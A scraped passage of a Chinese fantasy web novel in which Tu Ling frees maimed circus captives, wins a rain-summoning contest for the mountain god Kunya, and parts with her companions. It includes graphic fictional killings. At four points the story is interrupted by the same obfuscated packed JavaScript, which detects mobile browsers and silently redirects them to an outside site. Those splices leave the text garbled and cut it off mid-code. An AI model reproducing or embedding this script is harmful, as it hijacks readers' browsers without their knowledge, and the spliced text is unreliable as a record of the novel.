连体兄妹缓缓摇头:“不,我和妹妹逃荒出来,自愿加入班子,想讨口饭吃。班主起初装模作样教我们杂耍,后来有一天把我和妹妹绑起来,用烧烫的铁水将我们后背融合在一起,变成连体人……”
涂灵脑袋空白了好几秒,嗡地一声,心脏惊雷般猛撞:“你们不是先天畸形,全是被班主人为致残?”
回答她的只有死寂。
过了一会儿,“蜘蛛人”举手说:“我,我是天生残疾,生下来就三条腿三条胳膊,我爹一直想杀我,被奶奶和娘拦着……奶奶死了以后爹把我绑在猪圈里,准备动手,我娘偷偷把我放了,让我逃命……后来遇到班主,让我学杂耍,还说我是宝贝,他要打造一个举世无双的百戏班子……”
涂灵听不下去了,屈指敲敲笼子,催促蛮蛮:“赶紧出来。”
“哦。”蛮蛮眨眼睛,两手抓住脖子上的铁项圈,稍微用力就给掰断,接着抬腿一踹,把门踹开。
“师姑……”她抱住涂灵的腿。
涂灵问:“班主打你,为什么不还手?”
蛮蛮一副茫然的模样,摇摇晃晃:“他是,主子,我不敢,得听话。”
涂灵皱眉:“什么主子?以后不要让别人随便打你,痛就还手,记住吗?”
“好……”
话音刚落,一道人影突然闪入后院,班主手执长鞭:“你是谁?!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967446|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
被发现了。
涂灵想立刻带蛮蛮逃跑,可那鞭子甩过来缠住了她的颈脖:“好啊,敢上这儿偷宝贝,我砍了你的四肢和肉陀螺凑成一对!”
蛮蛮跳到中间张开手臂:“不、不行……”
“吃里扒外的小畜生,给我滚!”班主一脚踢开蛮蛮,随即高喊:“老二老三,快下来!”
他说着伸手就想抓住涂灵,可是胳膊忽然停在半空僵住。
涂灵随着他惊恐错愕的目光往下看,原来他的肚子被一只小手戳穿了。
蛮蛮站在班主身后,另一只手也从后腰戳进去,穿透肌肉和肚皮,血淋淋的爪子伸展蠕动,似乎找到了发力点,抠住肉,直接把他的肚子给撕开了。
“啊——”班主瘫倒在地,肠子滑溜溜地涌了出来。
涂灵愣怔数秒,赶忙挣脱掉鞭子,从班主的腰带找到钥匙,去开其他笼子。
“大哥!”闻声赶到的两个帮手被眼前的场景惊呆,抄起家伙扑上来。
涂灵相信蛮蛮的战斗力,放心交给她对付。笼子里的畸形人都看傻了,涂灵打开他们颈脖的铁锁,等所有人放出来,回头一看,地上又多了两具血肉横飞的尸体,内脏摊开一地。
“死了……”连体兄妹说:“我们怎么办?”
涂灵垂眸瞥着:“拿上他们的钱,赶紧走吧。”
蜘蛛人悲声说:“可是能去哪儿?我们这种怪物哪有立足之地?”
涂灵拧眉思忖片刻:“先出城,躲在附近的山林里,过两天我办完事情给你们找一个安生的地方。”
众人面面相觑,承受着突如其来的巨变,不知道明天该去哪儿,但知道自由了,从今以后不用被关在笼子里,困在活地狱。
“好,先走。”
涂灵带着蛮蛮回到厌桑台,俞雅雅还没睡。
“我给你准备了热水,去洗洗吧。”
涂灵说:“水够吗?蛮蛮也要洗,她身上全是血。”
“啊?怎么搞的?”
涂灵把祠堂发生的事情告诉她。
俞雅雅吓得赶忙远离:“她、她一下杀了三个人?!你怎么不拦着点儿?打晕就好了,何必背上人命!”
涂灵微微轻叹:“我教她还手反抗,谁想到她下手那么重。算了,杀就杀吧,反正都是些歹毒的恶鬼,留在世上不知会残害多少人。”
俞雅雅轻抚胸口:“也对,把人弄残疾出来卖艺,杀千刀都不为过,蛮蛮你算为民除害。”
涂灵揉捏酸胀的眉心,难掩疲惫,匆匆洗漱,倒头就睡。
次日天色微明,她起个大早,见俞雅雅和蛮蛮在床上七倒八歪,鼾声如雷,于是没有吵醒她们,独自出门。
清晨的厌桑台薄雾浮荡,空气新鲜,涂灵伸展筋骨,沿着建筑小跑。
转过小巧的亭子,顺石阶往上,忽然看见一道月白色的倩影坐在栏杆上,没有穿鞋,双脚微微晃动,漆黑长发铺散在背后,随风飘荡。
巴掌脸嵌着精雕细琢的五官,像个瓷娃娃,美得惊心动魄。
涂灵跑出了汗,微喘,开口提醒:“这里跳下去可死不了,只会断手断脚痛苦一生。”
13.束悠城06
少女闻声转头看过来,眼睛像布偶猫,瞧她两眼,笑了下:“我知道,没打算跳。”
涂灵已经猜到她是什么人:“明日成婚,不用做准备吗?”
“我不过是个摆件,有的是人准备。”
涂灵站到青石栏杆前眺望:“这里视野开阔,能看到整个厌桑台。”
“可惜看不到城楼。”少女问:“你从哪儿来,进城的时候见着楼上的人头么?那是我父亲。”
涂灵不语。
“我的两个哥哥都死了,他们担心自己的女人受辱,所以把嫂嫂也杀了,还想杀掉我。”少女的眼睛很深邃,但神色很恬淡:“我不肯赴死,哥哥对我很失望,骂我没骨气,玷污百叶氏的血液。”
涂灵依旧不语。
少女笑了笑:“城中百姓也一样,唾弃我嫁给杀死父兄的仇人。”她说着转身跃下栏杆,仰头闭上眼,深深呼吸清润的空气:“没关系,他们依旧是我的子民,这里依旧是我的束悠城。”
涂灵说:“看不到城楼也好,免得伤心。”
“不,我不伤心。”少女睁开眼:“我只是想提醒自己,不要步父亲的后尘。”
她朝涂灵笑笑,拎起裙子翩然跑开。
天亮了。
涂灵返回格里鹰的偏殿,路上遇到一群身穿华丽道袍的法师,他们见着涂灵纷纷敛声注视,将她上上下下瞧了几遍。
“道友在哪处宫观修行?既然入厌桑台面见主君,为何如此寒酸?实在有损我道门威严。”
“师兄忘了,昨日她自称昆崖灵君座下弟子,这个昆崖是哪路神仙,诸位可知晓?”
“贫道孤陋寡闻,从未听过。”
“莫不是……”一个身穿青袍的女弟子站出来,掐了个诀,涂灵双脚离地,腾空飘起来。“怎么,你不会法术?”青袍女子嗤笑:“如何敢说自己会求雨?”
另一个青袍男弟子道:“听闻此人是从花街柳巷被带出来的,人家的法术或许用在别的地方呢。”
涂灵垂头看看自己腾空的位置:“放我下来。”
两人得意洋洋地微笑观赏。
直到紫衣老道发话:“守淳,守蝉,不得无礼。”
“师父,此人招摇撞骗,败坏道门名声,该给她点儿教训才是!”
紫衣老道向其他几位法师摊手:“两个徒儿被我惯坏了。”说着望向涂灵,摇摇头:“也罢,你在此反省,一炷香后自然落地。”
众人离开,守淳和守蝉推她的脚晃了圈儿,咯咯偷笑,扬长而去。
涂灵就这么在半空中挂着,闲得慌,她闭眼掐诀,入意念之海找宋建国。
“昆崖教给你的那些东西,有没有我能学的?”涂灵说:“打着他的旗号在外面行走,但是一点法术都不会,遇见挑衅毫无还手之力,很没面子的。”
“竟然有人挑衅你?”宋建国当即教给她几个结印和口诀,如果时间充裕,他可以倾囊相授。
涂灵试了几遍,徒劳无功,垂下肩膀叹道:“算了,没用。”
宋建国说:“你坐下。”
“嗯?”
“打坐。”
涂灵有点疑惑,但还是照做。
宋建国也在她面前盘腿坐下,两个人面对面,他双指点住她的眉心,闭上眼。
涂灵逐渐感到眉间那道竖痕似乎在动,温暖的气流缓缓从伤口潜入,如同春风过境,没一会儿全身上下都暖和起来。
手指撤退,涂灵睁开眼看着宋建国:“这是什么?”
“真炁,用它运行周天,法术很快就能掌握了。”
涂灵张嘴默然,竟然有些语塞:“你不是一般的大方。”自己也只修出那么一点点,还分给她。
宋建国不以为然:“总要有用武之地。”他眉梢微挑:“你也算山神弟子,别叫人随便欺负。”
“嗯,我得走了。”涂灵感觉有人在拽她:“告诉昆崖做好准备,明日展现他的神通。”
“好。”
涂灵退出意念之海,发现俞雅雅和蛮蛮跳起来抓住她的脚,把她扽了下来。
“你、你怎么飘在上面呀?”
涂灵把刚才的事情说了一遍,俞雅雅听完怒火中烧:“什么臭法师,我呸!欺人太甚,让蛮蛮把他们打一顿!”
“他们会法术,不一定打得过。”
俞雅雅拧紧眉头:“法术?很厉害吗?那明天求雨怎么办?他们要是成功就没我们什么事了。”
涂灵道:“束悠城的风雨归昆崖调度,假如外人那么容易成功,这里也不会常年干旱了。”
“话是这么说没错,可我怎么心脏乱跳,静不下来……你到底有几分把握?”
“背水一战吧,反正没有别的退路了。”涂灵走到青石栏杆前,凝神运炁,想试试能不能飞起来。
“你干嘛呢?”俞雅雅正纳闷,忽然张大嘴,眼瞧着涂灵慢慢往上飘,十厘米,二十厘米,三十厘米……
涂灵感觉双脚凌空,睁开眼,看见自己漂浮在栏杆外,心下大喜,正想加快速度自动,谁知丹田之炁不稳定,突然间分散,她一个自由落体栽进了树丛。
俞雅雅和蛮蛮扒着栏杆看得目瞪口呆。
“……”
“……还不快把你师姑捞上来?!”
涂灵身上擦破几处皮,幸亏没什么大碍。
俞雅雅回去给她抹药,端详道:“你额头那道竖线好像没有消失的迹象,该不会留疤吧?”
涂灵抬手摸了摸:“我回现实世界以后,这伤口还在。”
俞雅雅张嘴愣怔:“那你在这儿学会法术,回去是不是也能用?”
“不知道。”
“如果你在现代社会有法术,那就成神了!”俞雅雅兴奋起来:“我爸做生意最信这些风水玄学,花好大价钱请了佛珠挂在办公室,每年还给寺庙道观捐钞票做功德,要是你展露法术,他们肯定把你给供起来!”
涂灵说:“没把我送去做科学实验就不错了。”
蛮蛮晃过去,不知在乐什么。
俞雅雅说:“你还笑,你这样的不管在哪个世界都不好过,遇到好人还能做个安稳的笨蛋,遇到玄松和惊奇班子就完蛋了。”
蛮蛮听不懂,晃到涂灵身旁,依偎在她腿边。
“啧啧啧。”俞雅雅扯起嘴角:“说你两句还装可怜。”
涂灵道:“她本身没有善恶观念,全靠教化。以后还得给她找个合适的去处。”否则真就危害人间了。
俞雅雅托腮看着蛮蛮:“没心没肺,真好。唉,不知道大熊现在怎么样了。”
涂灵说:“我问过黑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14974024|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
市老板,大熊他们应该被卖给百工干杂活儿,等明天完事之后我们就去赎他。”
“行。”
次日天朗气清,又是一个火伞高张的艳阳天,一大清早日光晃得眼睛快睁不开。
玉奴主君格里真与束悠女公子百叶姝大婚,宾客云集。按照玉奴族敬天的习惯,礼仪在大殿之外举行,新郎与新娘需一同握住匕首杀羊,割断它的脖子,用碗接住羊血。
“靠,这么变态?”立在台下观礼的俞雅雅五官都皱起:“什么逆天习俗,哪有人在婚礼上杀生见血?真不吉利!”
不止如此,两位新人还得把血喝掉。
格里真仰头一饮而尽,然后挑衅地看着百叶姝。台下宾客看热闹,玉奴族人更是用调侃的目光审视这位娇滴滴的主母。
玉奴祭司递上羊血,眼皮子耷拉,冷笑着瞥她。
百叶姝扫视一圈,接过碗,腥臭味令人作呕,她瞪着眼睛,强迫自己看着羊血送入口中,粘稠的液体通过口腔一下一下滚进喉咙。
她喝完抬起手,祭司上前拿碗,百叶姝忽然转过头,朝她脸上吐了一口带血的唾液。
“呸!”
祭司一愣,对上她直勾勾逼视的目光,那双美丽的猫瞳此刻仿佛化作猛兽,虎视眈眈,祭司顶了片刻,竟然没有顶住,慌乱避开,颔首欠身退下。
玉奴族人振臂欢呼:“主母!主母!”
格里真也笑了,朝她伸出手,牵她入座。
祈福仪式即将开始,身穿紫色法衣的老道人率领弟子向格里真行礼:“无量寿福,今日两姓联姻,良缘永结,贫道愿为新人禳灾祈福,告天求雨。”
束悠城的祭仆上前道:“按礼制,凡祈福斋醮,需以人牲为祭。”
格里真大手一挥,祭仆便将备好的奴隶带上来,足足二十人,排开跪在道场中央。
“他们要干什么?”俞雅雅睁大眼。
涂灵道:“用活人献祭。”
士兵提刀步入道场,站在奴隶们身后,等待号令。
“那是……”涂灵一惊:“那是大熊!”
“什么?!”俞雅雅凑向前,飞快扫视,果然看见熟悉的身影,胖胖地,瘫坐在后面大哭。
砍刀举起,阳光晃得刺眼。
涂灵心脏沉沉跳动,一咬牙,大步上前:“且慢,别杀他们!”
俞雅雅也想跟上去,但是看见在场所有人的目光射向涂灵,巨大的压力让她脚步退却,停滞不前。
格里真眯起双眸,先转头瞥了眼格里鹰,然后冷声开口:“为何阻碍祭祀?”
涂灵语塞数秒,眼皮直跳:“主君,大喜之日,伤人性命恐生不祥,还请放了他们吧。”
格里真忽然大笑:“什么不祥?奴隶又不是人!”
涂灵眉心蹙起,心下暗骂,竟忘了这里是奴隶制社会!
祭仆道:“束悠城几百年来都这么祭祀,你不懂不要插手。”
涂灵与他争辩:“听闻你们每年祭祀求雨,可束悠城依旧干旱不谷,可见人祭无用!”
“祖宗的规矩,岂容你妄议!”
“如今玉奴族为新主,怎么百叶氏的祖宗还要发号施令吗?”
“你……”
格里真听见这话,转头端详新婚妻子,问:“你觉得如何?”
14.束悠城07
百叶姝抬眸瞥向涂灵,目色清冷。
俞雅雅直摇头,嘴巴哆嗦:“完了完了。”她那样说人家祖宗,不被记恨才怪。
只见百叶姝沉默片刻,缓缓深吸一口气,面无表情:“我是玉奴的主母,不知道什么百叶氏。”
众人哗然,格里真却朗声大笑,拉起她的手:“说得好!既然如此,人祭免了,把这些奴隶带下去,法师直接祈福吧!”
“……”大熊满脸鼻涕眼泪,死里逃生太过大起大落,他巴望着涂灵和俞雅雅,边哭边跟她俩对暗号:“江南皮革厂倒闭,挖掘机技术哪家强?是兄弟就来砍我……”
涂灵:“?”
俞雅雅:“他是不是吓傻了?”
“宫廷玉液酒,一百八一杯,一百八……”崩溃的大熊被拖走。
“我们还走得出厌桑台么。”俞雅雅收起快惊掉的下巴,提醒涂灵:“看没看见,百叶氏的旧部恨不得用眼神把你戳死。”
涂灵无动于衷:“侵占他们地盘的人又不是我,有本事去戳玉奴人。”
“皇皇上天,照临下土,集地之灵,神降甘雨,庶物群生,咸得其所!”
随着紫袍道人念出祝词,浩浩荡荡的斋醮仪式开始了。整齐威严的唱经声从道场传遍全城,百姓知道今日求雨,纷纷跪在厌桑台外等待神迹。
道士们身穿精美法衣,上面绣着郁罗箫台、日月星辰、仙鹤祥云,简直华丽无比。脚下踏罡步斗,手执幢幡,飘飘然如仙人起舞。
“靠,这么大排场,还有伴奏?”俞雅雅咋舌,仰头瞧着愈渐阴沉的天:“不会真能求来雨水吧?”
涂灵也望着天色,心跳越来越沉。
鱼形石磬与青铜编钟敲打出清脆的金石之音,鼍鼓阵阵,排箫与篪吹奏仙乐,整个坛场犹如天府神域,道人们风采飘逸,各色法衣华美艳丽,宛若天人之姿。
斋醮将近一个时辰,乌云汇集于顶,城内城外已是欢声沸腾。
“降雨!降雨!降雨!”
震耳欲聋。
祭仆跪下流泪:“上天垂怜,上天垂怜……”
当毛毛雨丝飘落头顶,涂灵和俞雅雅的脸色变得铁青,两人不约而同心如死灰。
没戏了。
这下彻底没戏了。
此时声乐停,斋醮结束,紫袍道人上前拱手:“无量寿福。”
格里真抬手示意他免礼:“仙长道法高深,果然名不虚传。”
“主君谬赞,贫道献丑了。”
他身后的守淳守蝉两名大弟子骄傲地扫视台下众人,难掩睥睨之色。
乌云慢慢散开,雨也消失踪迹。
涂灵和俞雅雅屏住呼吸对视一眼。
啊?
这就完了?
“哈、哈哈哈哈!”人群中骤然响起放肆的笑声,在场宾客不由静下,格里真与众道士也寻声望去。
“不是吧?”原本俞雅雅已经放弃希望,不再垂死挣扎,但看着转眼放晴的天,她瞬间活了过来,大悲大喜带来强烈的荒谬感,引人发笑,她按捺不住澎湃的情绪,指着他们放声讥讽:“搞那么大阵仗,结果只是表演呢?这么丁点儿毛毛雨,眨眼就没了,连蚊子都不够喝,还真是献丑啊!哈哈哈!”
紫袍道人脸色沉下,守蝉上前厉声呵斥:“你是何人,胆敢侮辱师尊?!”
说话间她掐诀施法,两指推向俞雅雅,空气便如飞石射出,正中腹部,俞雅雅踉跄倒退,所幸被涂灵接住。
口中咸腥,她捂住肚子,往地上吐出血丝。
涂灵眉头皱起,目光霎那间冰冷:“你居然敢打她?”怒上心头,随即捻诀,凝聚真炁弹指反击,却被守淳以剑抵挡,力道冲得他连退两步。
“你……你们算什么东西?招摇撞骗言语猖狂,还不跪下向我师父师兄请罪!”
俞雅雅不服,喘着气哑声骂道:“你们才是骗子,不是说求雨吗?雨呢?哄大家玩儿呢!”
紫袍道人冷哼一声:“布雨乃神仙职责,我等凡人岂能越俎代庖?此地干旱已久,上天厌弃,贫道方才调来微雨,已属泄露天机!”
守淳跟着附和:“这世上除我师父以外,谁还找得出第二个呼风唤雨的人?站出来呀!”
涂灵冷冷白他们一眼,径直走向格里真和百叶姝,仓促行了个礼。
“我奉昆崖灵君之命前来布雨,是为解束悠城之旱,并非走过场做样子,请主君准我做法。”
百叶姝眉尖微蹙:“昆崖?”
祭仆惊恐道:“昆崖乃邪祟!八十年前害死束悠城近半数人口!你、你究竟是何目的!”
不等涂灵开口,守淳抢声道:“原来是邪祟!主君,请即刻处死这一干奸人,否则后患无穷啊!”
俞雅雅破口大骂:“你才是奸人,你全家都是奸人!”
格里真听得烦躁:“通通给我闭嘴!吵死了!”
众人敛声屏息。
过了一会儿,百叶姝淡淡起唇:“昆崖与束悠城有深仇大恨,你不知道吗?”
涂灵回:“昆崖并非邪祟,他是掌管束悠城风雨的山神,八十年前被反教内斗所累,使团所中尸毒系二十七劫奸计,灵君是被陷害的。”
百叶姝拧眉思忖:“反教……早已销声匿迹了。”
涂灵:“昆崖灵君沉寂八十年,束悠城的干旱也从八十年前开始的吧?”
守淳与守蝉骂道:“妖言惑众,主君主母切勿被她诓骗!”
涂灵:“待我请灵君布雨,自见分晓。”
格里真大掌一拍扶手,烦道:“行了,快做法吧,若请不来雨便杀你祭天。”
听见这话,守淳和守蝉相互对视,冷笑着安静退下。
涂灵回头抄起家当,默然看了看俞雅雅和蛮蛮,她俩也看着她。
“嗯。”俞雅雅冲她点头,嘴唇用力抿住,眼睛湿了。
三人拎着简陋的行囊走入道场,没有鲜衣华服,没有琳琅满目的法器,穿的粗布道袍还是昨天临时去集市买的,不合身,松垮垮皱巴巴。空荡的醮坛把她们衬得无比渺小。
涂灵拿出昆崖的神位安置于小巧的楠木底座,俞雅雅和蛮蛮摆放好供品香烛,随后静静跪坐在涂灵身后。
“嘁,这什么?”
周遭发出讥笑。
涂灵深吸一口气,掐清心诀,进入意念之海,通知宋建国:“开始吧。”
——
玄松还活着。
但马上就要死了。
“你这个老怪物,不得善终!我要杀了你们!杀光你们!”
怨毒的咒骂逐渐变作恐惧的惨叫,昆崖身上的树根插进他的皮肤,很快吸干血肉。玄松变成了一张人皮。
昆崖恢复部分灵力,尝试施法布雨,整个山洞开始震颤。
不行……
太远了,束悠城太远了……
昆崖大口喘气,他刚刚焕发新生的藤蔓顷刻间枯死一半。
宋建国割破手腕,将血滴入根系。
昆崖歇息片刻,再次拼尽全力施法,这次整座山都摇晃起来。
——
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14978997|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
俞雅雅心跳如鼓,望着涂灵笔直的背影,又仰头望天,心里不住祈祷:快啊,快……
旁边传来源源不断的嘲讽:“丢人现眼,还装什么装,等死吧你们!”
毒日头晒得汗流浃背,格里真耐心耗尽,百叶姝也面无表情摇头。
格里鹰见他要下令抓人,立马恳请道:“再等等吧,主君,再等等。”
俞雅雅一瞬不瞬地望着天,晴朗苍穹忽然乌云翻涌,以惊涛浪卷之势奔腾而至。
“来了!”她抬手指天。
涂灵猛地睁开眼。
狂风骤起,黑云压城,符纸漫天飞舞,众人眯起双眼遮挡风沙。
轰隆隆,雷声大作。
顷刻间大雨倾盆而下!
袍子湿透变作深蓝,皮肤被砸得生疼,涂灵捧起神位,打坐的姿势改为双膝跪地,迎着风雨高声呼喊:“通天感应掌风大道昆崖灵君显灵!”
格里真和百叶姝不约而同站起身,错愕地望着天地变色,暴雨如注。
“这……不可能!”紫袍道人站立不稳,满脸震惊:“不可能……”
守淳和守蝉立刻断言:“这是我师父请来的雨!你们坐收渔利,盗取我们的成果!”
“呸!”俞雅雅狠啐道:“真不要脸!没见过这么不要脸的人!”
涂灵一手抱着神位,一手指过去,厉声斥问:“你们敢亵渎灵君?!”
“什么昆崖,什么灵君!在哪里?有本事让他现身啊!”
话音刚落,只听得惊雷大作,蓝色闪电如鬼爪忽现,直奔守淳守蝉二人,“咔嚓”巨响,电光火石之后,他们二人的双脚被生生劈成了两半。
“啊——啊——”
涂灵迎着大雨高举神位:“谁敢亵渎灵君!”
这场景必将终生难忘,俞雅雅望住她的身影心血沸腾,脑中无法抑制地大喊:啊啊啊啊爽死啦!!这辈子从没这么爽过!她燃爆啦!!!
格里真与百叶姝疾步走下台阶,扑通跪在神位下。
“恭迎昆崖灵君归位!”
由厌桑台至束悠城全城百姓都为这场大雨跪地叩首。
“恭迎昆崖灵君归位!”
——
皮母地丘,悬崖洞府。
宋建国看着奄奄一息的昆崖,他已耗尽灵力,如死树般迅速枯萎。
“够了。”他的嗓音也无比衰老:“此生能再为束悠城布一次雨,够了。孩子,你走吧。”
宋建国离开山洞,望着悬崖对面苍翠的山峦,秃鹰立在松柏之上,大雁结伴飞过蔚蓝苍穹,清风徐来,花香馨甜。
他深吸一口气,睁开眼,看见四周干枯扭曲的藤蔓和树枝变得翠绿,嫩芽抽出枝条,花苞盛放,脚下绿草铺地,柔软蓬松。
他想到什么,返回洞中,原先潮湿阴暗的洞穴豁然开朗,昆崖倒下的地方已不见巨大树身,却出现一团祥云,祥云上盘腿端坐着道骨仙风的长须老者,样貌端肃,面带微笑。
宋建国便知涂灵成功了。
“孩子,你有何心愿?”
他低头思忖:“我想找回我的记忆。”
昆崖掐指推算,眉尖一蹙,随后笑着摇头:“本座竟也无能为力。你似乎不是这个世界的人。”
宋建国默然不语。
“去吧,你身上已有了修为,不必害怕,寻你的伙伴去吧。”
宋建国跪下磕三个头,转身下山,走在皮母地丘绵延的山脉间。
他没有打算去找涂灵汇合,也许独来独往才是他的归宿。
15.束悠城08
束悠城的大雨引来百姓狂欢,人们走上街头冲刷身体,张开嘴品尝久违的甘露。
政权刚刚交替便出现如此祥瑞神迹,间接替玉奴族稳定了民心,格里真希望涂灵留下做大巫女,她立马找理由推拒。
“灵君还交代了别的事情,我不能在此逗留,主君的美意我心领了。”
格里真道:“我已命人为昆崖灵君打造金身,修建庙宇,日后必当尽心供奉,以保束悠城风调雨顺。”
涂灵点头:“如此甚好。”
格里真见她不愿留下,便赠送了一盒金玉聊表心意。
涂灵说:“我有几个朋友被人所害,卖做奴隶,可否请主君将他们放了。”
他十分大方:“那是自然。”
次日一早,涂灵收拾行囊,向格里真、格里鹰和百叶姝告辞,带上伙伴们离开厌桑台。
“仙姑请慢!”
有人喊住她。
涂灵回头,原来是暗街黑市的老板。
“那日你让小的留心刘老三,他果然出现了!此刻正在我店中候着呢。”
“刘老三!”俞雅雅和大熊听见这个名字恨得咬牙切齿。
涂灵说:“你把他引到城外北边的土地庙,就说避人耳目,我们在城外交易。”
“好嘞好嘞。”老板收下钱币跑着回去了。
众人出城往北,翻过一个小山坡,前面就是土地庙。
“去找找你的伙伴。”涂灵吩咐蛮蛮。
不多时,蛮蛮把惊奇班子的畸形人带了出来。
大熊和俞雅雅冷不丁吓一跳。
这下队伍可热闹了。
“你确定要拖家带口上路吗?”俞雅雅认为这不切实际。
涂灵问:“大家有什么打算?”
那三个被玄松当做炮灰却幸存下来的奴隶面面相觑:“我们都想回家。”
涂灵点头,将格里真赠送的钱币分给他们。
俞雅雅目不转睛瞅着,口中嘀咕:“铜贝,玉石,金片,妈呀,拿回现代能卖天价……”
大熊摇头:“倒不至于,厌桑台里那些青铜重器才是稀世珍宝,我在网上见过类似模样的,拍卖成交价将近两个亿……”
正在这时,脚步声由远至近,涂灵把钱币交给俞雅雅安排,随后站起身,抱住胳膊从土地庙后面款款现身。
暗街老板领着人和毛驴过来了。
刘老三一见是她,脸色大变,当即扭头就跑。
蛮蛮蹦上前,揪住他的衣裳,抛鱼线似的把人抛到涂灵脚下。
“仙姑,我先回了!”老板功成身退,乐呵呵扬长而去。
涂灵用桃木剑杵着他的胸膛,绕着人转圈儿:“你不厚道啊,怎么说都是从玄松手下逃出来的,你转头把我们给卖了,不合适吧?”
“误会,误会……”刘老三慌忙摆手。
涂灵没打算听他狡辩,直接问:“哭鹊卵呢?”
刘老三从怀里掏出布袋子递上。
大熊赶紧接过,打开一看:“怎么只剩三颗了?!”
刘老三讪笑道:“我,我好奇吃了一颗,卖出去两颗……”
话音刚落,蛮蛮一脚踹过去,把他踢到黑毛驴面前。
毛驴瞬间暴怒,抬起前蹄朝刘老三的头狠狠踩踏,直踩得他面部凹陷,鲜血四溅,没了挣扎和反应。
“踩、踩死了?”大熊呆若木鸡。
涂灵拿过哭鹊卵上前,毛驴的脑袋套着缰绳,她把小布袋系在绳子上,物归原主,虽然没剩几颗了。
蛮蛮拖着刘老三的脚,拖到树丛里挖坑填埋。
涂灵扫视众人,看着几个无家可归的畸形儿,告诉他们说:“那头毛驴来自乐游山,山里住着一些神鸟,也算世外桃源,你们若觉得红尘里没有容身之处,不如跟着黑毛驴到山中隐居。”
听完这话,你看看我,我看看你,跟着不约而同点头:“好。”
涂灵便让俞雅雅再把钱拿出来分给大家。
“路途遥远,不知还要经过多少城镇,你们最好用斗笠或者帷帽做遮掩,不要引人注目。钱肯定用得上。”
这时蛮蛮埋完尸体回来,涂灵说:“你跟他们一起走,去乐游山。”
蛮蛮仰头茫然望着她。
俞雅雅迟疑开口:“蛮蛮也要走吗?”
“总要分开的,我们随时可能退出游戏,到时她无人看管,说不定又被卖给人贩子了。”
大熊问:“玩家退出之后,游戏世界还会继续存在吗?”
“我不知道。”
蛮蛮抱住涂灵的腿,摇头不肯走:“跟师姑、在一起。”
涂灵说:“你得护送他们,这是交给你的任务,以后我再来接你,好吗?”
蛮蛮歪着脑袋:“会来接我?”
“嗯,当然。”
她信了:“好!”
如此,一行人就在城外各奔东西分道扬镳。
俞雅雅望着蛮蛮蹦蹦跳跳远去的背影,说:“你骗她,不会再去接她对吗?”
涂灵不语。
是啊,是骗了。
大熊叹气,问:“我们接下来去哪儿?”
涂灵的目光落在他们两人身上,一时犹豫缄默。
俞雅雅心头猛跳,呼吸停滞睁大眼睛,甚至透出了几分惊恐。
大熊感觉到她僵硬的变化和窒息的气氛,不自觉也张嘴呆住。
涂灵确实冒出散伙的念头。
然而面对他俩直勾勾且惊慌的目光,话到嘴边没说出口,转向旁边简陋的土地庙:“进去歇会儿。”
三人进庙,大熊和俞雅雅闷不吭声上香,涂灵坐在蒲团上,闭目掐诀,进入意念之海。
“宋建国。”
等了好久他都没有出现。
“他已经走了。”
昆崖的幻影坐着祥云浮现水面:“你寻他何事?”
走了?涂灵道:“正好,我想通过他联系你。”
昆崖笑道:“你助本座归位,有何愿望,尽管说来听听。”
涂灵瞳孔晃动,稍微组织了一下语言:“我……我父母死了,我想救活他们。”
昆崖打量她,问:“下葬了吗?”
“还没有。”
“你将他们的尸首带来本座面前看看。”
涂灵哑然语塞。
“怎么?”
“他们不在这个世界。”涂灵只能直言:“其实我们都不是这个世界的人,我父母因为来过这里之后莫名其妙丧命,所以我进来查找线索。”
昆崖沉吟片刻:“你是从虚极来的?不对,凡胎肉身怎么可能进入虚极?”
涂灵听不懂:“不,我们只是意识到这里。”应该是吧?
昆崖思忖:“这么说,你父母的意识在这个世界死去,肉身便在那个世界也死了?”
“我不知道。”涂灵垂下头,心里一阵繁杂。
昆崖莞尔笑起来:“莫急,亡魂会在冥河逗留,找到你父母的魂魄,带回去,或许可以救活。”
涂灵抬眸望着,一瞬不瞬:“听上去很简单。”太简单了,是不是耍她。
“冥河在哪儿?”
“清凉城外。”
“清凉城是什么地方?”
“不死不活之地。”
这么抽象?涂灵烦躁起来:“您能说明白些吗?魂魄怎么带回去,又用什么方法救活?”
昆崖缓缓抚摸长须,摇头笑道:“本座已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 